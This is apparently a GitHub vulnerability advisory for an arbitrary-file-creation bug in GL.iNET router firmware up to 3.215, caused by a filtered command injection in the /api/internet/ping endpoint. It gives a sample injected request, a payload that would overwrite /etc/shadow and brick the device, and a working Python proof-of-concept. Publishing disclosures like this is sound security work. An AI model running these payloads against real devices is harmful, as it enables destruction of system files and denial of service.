Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

GL.iNET Arbitrary File Creation

  • CVSS Score - 5.5, Medium (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H)
  • Overview - All GL.iNET devices running firmware <= 3.215 are vulnerable to arbitrary file write, where an empty file can be created anywhere on the filesystem. This is due to a command injection vulnerability with a filter applied. Example request below:
POST /api/internet/ping HTTP/1.1
Host: 192.168.8.1
Authorization: 80dafe40822e4a59b6daabd659617963
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 30

ping_addr=127.0.0.1+>/tmp/test
  • Description
    • The API endpoint /api/internet/ping takes a ping_addr parameter, and piped it into the command ping %s -c4 > /tmp/ping_result 2>&1.
    • Since firmware 3.215, all string parameters are checked to determine if shell injection characters (like ; or | are being used), and any API requests with those special characters are immediately blocked. This check was implemented in response to CVE-2022-31898. These characters include ;, |, &, (, ), $, and the backtick char. However, the > and < signs are not, hence allowing us this behavior. In addition, the - character is not prohibited, allowing us to add in special ping arguments. However, extra ping arguments don't really allow us much more control over the system.
    • Note that this can also be used to overwrite existing files. For example, the payload 127.0.0.1+>/etc/shadow would overwrite the /etc/shadow binary, bricking the system.
  • Steps to reproduce - run the Proof of Concept below using python3 exploit.py <domain/IP> <authtoken> </path/to/file>, such as python3 exploit.py 192.168.8.1 80dafe40822e4a59b6daabd659617963 /tmp/arbitrary_file_write

PoC

import requests, sys
import urllib.parse
import warnings
warnings.filterwarnings("ignore")


## Get arguments
if (len(sys.argv) < 4):
    print("Usage: python3 exploit.py <domain/IP> <authtoken> <filepath>")
    sys.exit(1)

url = sys.argv[1]
token = sys.argv[2]
path = sys.argv[3]


## Send request
data = "ping_addr=127.0.0.1+>"+path
headers = {'Authorization': token, 'Content-Type': 'application/x-www-form-urlencoded'}
response = requests.request("POST", "https://"+url+"/api/internet/ping", verify=False, timeout=4, data=data, headers=headers)


## Check response
try:
    code = response.json()['code']
    if code == -1:
        print("[-] Auth token invalid")
    elif code == 0:
        print("[+] Command executed")
    else:
        sys.exit(1)
except:
    print("[-] Machine not vulnerable, error was encountered")